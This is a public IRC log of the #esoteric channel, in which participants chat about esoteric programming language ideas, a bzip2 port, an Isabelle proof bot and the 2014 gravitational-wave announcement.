#esoteric :ais523: So it probably is multiple concatenated ones < 1395080935 720177 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :(i was too lazy to implement it) < 1395080936 612526 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the bunziper I ported over probably can't handle that format < 1395080940 559169 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*bunzipper < 1395080949 566478 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :(bunzip2er?) < 1395080957 234868 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :quintopia: Looking at it :-) < 1395080960 823464 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the 2 is silent. < 1395080991 746898 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :let's take a 2er of bunzip < 1395081056 42401 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :elliott: do you have any broken early first drafts of Vagrant, or did cheater steal everything? < 1395081073 791535 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :there's like one or two vagrant.py copies on the internet < 1395081077 556992 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :they're both of bad versions :p < 1395081100 892677 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :a bad version is better than no version < 1395081167 298228 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :ais523: Ah well, a better showing than ipbt which doesn't understand .bz2 at all < 1395081174 827373 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I can't find them now. < 1395081293 841991 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395081406 747805 :Slereah__!~jackal@193.253.170.240 JOIN :#esoteric < 1395081547 596625 :Slereah_!~jackal@80.10.159.103 QUIT :Ping timeout: 264 seconds < 1395081617 83996 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :quintopia: UTF-16, bah. < 1395082663 548227 :password2!~password@197.78.152.105 QUIT :Ping timeout: 264 seconds < 1395082676 768637 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1395082976 506247 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: what about it < 1395083111 93171 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Doesn't look too easy to implement (note: my operating environments are... let's just say, insane). < 1395083367 911587 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: then implement a fake version where it uses two extended ASCII characters instead of one UTF-16 code point? < 1395083378 27535 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i mean, that's still better than nothing :P < 1395083388 813906 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395083402 69009 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :ACTION shall. < 1395083415 722835 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395083430 422345 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :quintopia: You shall have to provide a "Hello, world!" example though. :P < 1395083709 341198 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :fiiiiiiiiiiiiiiiiiiiiiiiiiiiine < 1395083768 72001 :Bike!~Glossina@71-222-114-227.ptld.qwest.net QUIT :Ping timeout: 246 seconds < 1395083812 314690 :Bike!~Glossina@71-222-121-172.ptld.qwest.net JOIN :#esoteric < 1395084402 525015 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: in this bastard double-character encoding, Hello World! looks like aeaaaaasataaaaeseasaeseeestaestaesttasaaeeetesttetasestaeseaasae (i think) < 1395084432 887598 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :quintopia: I'll be sure to check it out once I finish the interpreter :-) < 1395084635 236775 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shikhin: or you could just implement the original spec, truncating 16 bits to 8, since the first 256 UTF code points are identical to ASCII anyway. If you do that, the above program should print "el ol!" < 1395084650 297596 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395084668 52032 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395086150 587182 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :quintopia: And a hello world for that? Why don't you add that to the wiki page too? :D < 1395086155 555448 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :ACTION is too lazy to do this himself. < 1395086284 182614 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :now I have an idea < 1395086302 990763 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a language where, the first program any given programmer writes in that language, it's a hello world program < 1395086310 710919 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and the second one is a 99bob < 1395086323 723824 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :to avoid clashes, you must sign your name in the source code < 1395086359 606678 :shikhin!~Shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Sounds awesome :-) < 1395086433 552 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(if your name is not unique, your program is a syntax error) < 1395086520 668100 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :globally unique? < 1395086577 329261 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well it doesn't have to be a GUID < 1395086584 163305 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, naming people with GUIDs tends to be frowned upon < 1395086638 464504 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :locally unique? < 1395086661 625091 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :an implementation keeps a log of users and does the stuff < 1395086891 44338 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but then programs would /retroactively/ become syntax errors < 1395086896 689055 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you need to know the universe of possible names in advance < 1395086924 840042 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :hmm < 1395087241 339564 :Bike!~Glossina@71-222-121-172.ptld.qwest.net QUIT :Ping timeout: 240 seconds < 1395087723 831114 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: I'm imagining the programs go into some kind of blockchain/DHT type thing. < 1395087758 308256 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I guess all you'd need to store is name => timestamp of first program written < 1395087768 572059 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is going surprisingly well for a sudden esolang idea that's less expressive than HQ9+ < 1395087783 493154 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the implementation looks up the username and timestamp of the file you give it < 1395087790 763829 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if the timestamp is equal, it's a hello world < 1395087793 351381 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if it's after that, it's a 99bob < 1395087805 326161 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if there's no match, store username => timestamp in the DHT and run hello world < 1395087815 727517 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(they might not have written the 99bob at the timestamp given, but that's UB) < 1395087897 133287 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what if someone later reproduces their hello world program, with a different modification time? < 1395087903 213044 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think you need hashes, not timestamps < 1395088070 761806 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: then that's not the same program < 1395088079 478324 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: or rather, it was distributed incorrectly < 1395088092 919835 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: you should use only verified programs from trustworthy distribution services < 1395088102 274748 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this reminds me of my approach to encode metadata (like "uses threads") in the modification timestamp of INTERCAL programs < 1395088128 685349 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: (would you expect a program whose permissions got garbled to still be executable?) < 1395088151 155865 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: well it usually is < 1395088155 25650 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395088157 901067 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :not if you run it with ./foo < 1395088163 353412 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just you need to give the interp manually < 1395088175 32355 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395088506 909290 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1395088773 122734 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395089456 168967 :ion!ion@heh.fi PRIVMSG #esoteric :Stanford Professor Andrei Linde celebrates physics breakthrough http://youtu.be/ZlfIVEy_YOA < 1395089733 238166 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Why did I decide to cosplay a character with such a fancy jacket < 1395089741 564289 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I don't know where I can get such a fancy jacket < 1395089794 585298 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Official Grease Pink Ladies Lady Jackets Fancy Dress Costume 50 Outfit Hen Party" ebay hit #1 for "fancy jacket" < 1395089807 200170 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I do not think that is the right sort of fancy jacket < 1395089815 191959 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Odds are low. < 1395089829 891179 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I want this sort of fancy jacket: https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQxDUF8eWnhUpJjEglwtNy38olYQuGq8emJ1I3H8cDWBZzXSqhJ < 1395089956 672602 :aergus!~aergus@78.168.133.76 QUIT :Remote host closed the connection < 1395089986 950996 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Taneb: http://goo.gl/17Iltn close enuf? < 1395090004 530436 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :That'll do < 1395090004 742966 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I added "white" to my search terms.) < 1395090353 906502 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395090858 594757 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395091118 422776 :Boscop!~me@e102.stw.stud.uni-saarland.de JOIN :#esoteric < 1395091134 53017 :Boscop!~me@e102.stw.stud.uni-saarland.de PART :#esoteric < 1395091947 744332 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1395092711 727313 :spiette!~spiette@mtl.savoirfairelinux.net QUIT :Ping timeout: 252 seconds < 1395093143 160248 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395093558 831766 :nortti!nortti@nano.smar.fi NICK :lawspeaker < 1395093578 610856 :lawspeaker!nortti@nano.smar.fi NICK :nortti < 1395093629 976528 :boily1!~boily@96.127.201.149 JOIN :#esoteric < 1395093679 175280 :boily1!~boily@96.127.201.149 NICK :boily < 1395093697 240927 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah, the feeling of a righteous ghost :D < 1395093781 604108 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395093810 121513 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ekte plasma < 1395093955 358337 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395093957 338005 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395093989 98921 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Taneb: I'm not working on @. <-- it's gone the way of feather hasn't it. < 1395094023 96419 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: ekte? < 1395094028 661990 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(also, hellørjan.) < 1395094068 951091 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bonsoilyr < 1395094133 41236 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :jepp, helt ekte plasma < 1395094187 802455 :Bike!~Glossina@71-222-121-172.ptld.qwest.net JOIN :#esoteric < 1395094245 166755 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah, ekte. < 1395095364 945992 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Stanford Professor Andrei Linde celebrates physics breakthrough http://youtu.be/ZlfIVEy_YOA <-- i take it this may be a good day to catch up to r/physics. < 1395095385 160131 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :is this the gravity wave thing < 1395095433 23570 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes < 1395095477 900146 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :i saw some people wondering why people were going on about that before it was peer reviewed < 1395095512 351472 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :people without souls, clearly < 1395095513 847010 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :FOURTEEN! < 1395095525 273806 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: wat < 1395095534 78248 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :FIFTY THREE < 1395095541 929686 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I just cleared hell in DCSS. I'm up to fourteen runes! < 1395095555 184111 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: Tanelle. < 1395095556 520350 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :oerjan: well, it was the same for the ftl neutrino business and we know how that turned out. < 1395095627 156277 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh. < 1395095661 895110 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well, but that was a completely unexpected discovery. < 1395095885 957396 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :or, as this phys.org starts its headline, "Rumours fly" < 1395095889 506212 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :article* < 1395096840 48494 :nys!~smuxi@blk-142-60-139.eastlink.ca JOIN :#esoteric < 1395098145 952771 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Quit: This computer has gone to sleep < 1395098369 688093 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395098425 161348 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot: lemma "(2 :: nat) + 2 = 4" < 1395098426 50304 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : Proving: 1. 2 + 2 = 4 < 1395098435 910656 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot: apply simp < 1395098436 766920 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : No subgoals! (Use "done" to finish proof.) < 1395098441 98286 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot: done < 1395098441 949614 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : QED: lemma 2 + 2 = 4 < 1395098446 847652 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot: context < 1395098447 291987 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : lemma "(2 :: nat) + 2 = 4" \ apply simp \ done < 1395098472 486528 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(This took much longer to make than it should have.) < 1395098566 346303 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :coq? < 1395098584 409255 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot: help < 1395098584 893471 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : Isabelle commands: apply, done, lemma, oops, thm; meta-commands: help, context, state, restart, undo < 1395098595 408314 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah < 1395098595 630983 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :luboš motl gets _guest bloggers_? < 1395098613 431508 :Bike!~Glossina@71-222-121-172.ptld.qwest.net PRIVMSG #esoteric :powerup comics gets guest comics. < 1395098633 614573 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what's powerup comics < 1395098706 273876 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1395099025 329529 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395099247 717126 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395099326 829547 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395099363 649719 :boily!~boily@96.127.201.149 QUIT :Quit: Poulet! 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< 1395105811 466874 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :unless the theory of eternal inflation is also true, in which they would be dating from the fraction of a second at which that ended in our region of the universe < 1395105825 697149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*in which case < 1395105865 609561 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also those fractions need a "minuscule" before them, i think. < 1395106178 683649 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm 10^(-37) seconds says this article < 1395106195 400793 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 264 seconds < 1395106374 218738 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ooh it's the same as the theorized time for the grand unification breakup < 1395106434 363562 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://www.simonsfoundation.org/quanta/20140317-possible-echo-of-big-bang-detected/ btw < 1395106505 718956 :Bike!~Glossina@71-222-121-172.ptld.qwest.net QUIT :Ping timeout: 252 seconds < 1395106538 370283 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that site's favicon is so appropriate for this stuff < 1395106595 708210 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, this channel is too quiet tonight. < 1395106766 859294 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm it's energy scale, not time. should be correlated though. < 1395106886 298954 :Bike!~Glossina@71-222-121-172.ptld.qwest.net JOIN :#esoteric < 1395106929 359224 :MoALTz__!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395106989 61214 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395107078 290116 :MoALTz_!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 240 seconds < 1395107273 639095 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395107297 875442 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 252 seconds < 1395107370 187724 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, term "ALL n :: nat. n > 1 --> EX p. prime p & prime (2*n - p)" < 1395107370 613274 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : *** I feel a strange sensation: . (Try "restart".) < 1395107401 919647 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What is an applybot? < 1395107402 25683 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395107411 844498 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :python is, like, the worst language ever < 1395107430 844104 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395107446 561419 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a bizarre statement. < 1395107470 365635 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^wiki ESME < 1395107470 473827 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :http://esolangs.org/wiki/ESME < 1395107474 63022 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hth < 1395107483 285942 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, term "ALL n :: nat. n > 1 --> EX p. prime p & prime (2*n - p)" < 1395107488 85664 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : *** Inner syntax error at "EX p . prime p & prime ( 2 * n - p )" < 1395107513 966972 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, thm exE < 1395107515 355430 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : [| EX x. ?P x; !!x. ?P x ==> ?Q |] ==> ?Q < 1395107536 151913 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :applybot, term "ALL n :: nat. n > 1 --> (EX p. prime p & prime (2*n - p))" < 1395107536 738066 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : *** Illegal application of command "term" at top level < 1395107584 644567 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ESME is deleted? :( < 1395107595 491459 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://esolangs.org/wiki/Esme < 1395107660 369422 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395107680 848133 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's still there. < 1395107709 302455 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Yes, I realized shortly after I asked, then I linked to it. oerjan made the bot link to the wrong place. < 1395107740 438649 :Tod-Autojoined!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395107744 71364 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SOrRY I dON*T KNOW WHat haPPENED < 1395107776 31589 :Tod-Autojoined!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Client Quit < 1395107783 956143 :Tod-Autojoined!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1395107820 245448 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Write error: Connection reset by peer < 1395107837 932207 :Tod-Autojoined!Tod@50-198-177-186-static.hfc.comcastbusiness.net NICK :TodPunk < 1395108057 101543 :nys!~smuxi@blk-142-60-139.eastlink.ca QUIT :Quit: quit < 1395108443 413717 :Bike_!~Glossina@67-5-232-24.ptld.qwest.net JOIN :#esoteric < 1395108463 358869 :Bike!~Glossina@71-222-121-172.ptld.qwest.net QUIT :Ping timeout: 264 seconds < 1395108472 365209 :Bike_!~Glossina@67-5-232-24.ptld.qwest.net NICK :Bike < 1395108792 214222 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1395109454 168036 :Bike_!~Glossina@67-5-247-202.ptld.qwest.net JOIN :#esoteric < 1395109472 351817 :Bike!~Glossina@67-5-232-24.ptld.qwest.net QUIT :Disconnected by services < 1395109477 360377 :Bike_!~Glossina@67-5-247-202.ptld.qwest.net NICK :Bike < 1395109899 421162 :Bike!~Glossina@67-5-247-202.ptld.qwest.net QUIT :Ping timeout: 255 seconds < 1395110014 100298 :Bike!~Glossina@67-5-254-249.ptld.qwest.net JOIN :#esoteric < 1395110037 239606 :Bike!~Glossina@67-5-254-249.ptld.qwest.net NICK :Guest72828 < 1395110155 727263 :Guest72828!~Glossina@67-5-254-249.ptld.qwest.net NICK :Bike < 1395110207 670111 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395110247 770553 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395110787 364150 :Jafet!~jafet@unaffiliated/jafet QUIT :Quit: Quit < 1395110814 144897 :Jafet!~jafet@static.77.207.4.46.clients.your-server.de JOIN :#esoteric < 1395110826 660419 :Jafet!~jafet@static.77.207.4.46.clients.your-server.de QUIT :Changing host < 1395110826 715968 :Jafet!~jafet@unaffiliated/jafet JOIN :#esoteric < 1395111848 365711 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395111909 704489 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395112698 530880 :ion!ion@heh.fi PRIVMSG #esoteric :http://i.imgur.com/ZYmu29u.png < 1395112821 122464 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :gamestop as laundering. fascinating. < 1395113440 709745 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nite < 1395113479 708949 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1395113755 379515 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395113908 545832 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395114553 540483 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395115388 303000 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395115591 379980 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395115592 593073 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395115805 474524 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395115877 128801 :variable!root@freebsd/developer/variable QUIT :Ping timeout: 246 seconds < 1395115893 117538 :MoALTz__!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 255 seconds < 1395115940 606870 :MoALTz__!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395116065 822360 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395116107 403626 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 264 seconds < 1395116366 211694 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maybe cup noodles aren't so bad... one thing of cup noodles has about as much sodium as two things of instant pasta < 1395116373 639882 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Or maybe instant pasta is worse than I thought) < 1395116396 959882 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(If I eat instant pasta one night, I usually have two of them, whereas I only have one cup noodles) < 1395116577 493982 :limitless232323!~limitless@72.11.34.197 JOIN :#esoteric < 1395116607 475294 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395116699 163242 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :daf < 1395117534 20180 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :anyone here ever reached a state of zen? < 1395117546 754692 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :`welcome limitless232323 < 1395117553 783498 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :oh no. < 1395117556 854946 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :Hello bike < 1395117566 769673 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :what do you mean oh no? < 1395117605 300249 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :that's supposed to play a prerecorded message. < 1395117633 513344 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :what is? < 1395117637 394325 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :`welcome < 1395117640 953438 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :mentioning among other things that the channel is about esoteric programming languages < 1395117646 945555 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :oh shit < 1395117647 627763 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :haha < 1395117650 605481 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :my fault < 1395117660 34830 :limitless232323!~limitless@72.11.34.197 PRIVMSG #esoteric :have a nice day/night < 1395117665 623316 :limitless232323!~limitless@72.11.34.197 PART #esoteric :"Leaving" < 1395118741 938941 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :`help < 1395118757 832590 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Erm. < 1395118764 472576 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :^help < 1395118764 529161 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool < 1395118778 403151 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :all is lost, imo < 1395121147 451476 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1395121278 229393 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, anyone ever see a ghost? I believe we should all get in touch with our inner ghost. I think Brainfuck is a wonderful meditative excersize to get in touch with your inner ghost < 1395121324 130059 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :well, i punched one once, but i couldn't see it. < 1395121339 356767 :password2!~password@197.78.144.251 JOIN :#esoteric < 1395121399 436280 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net 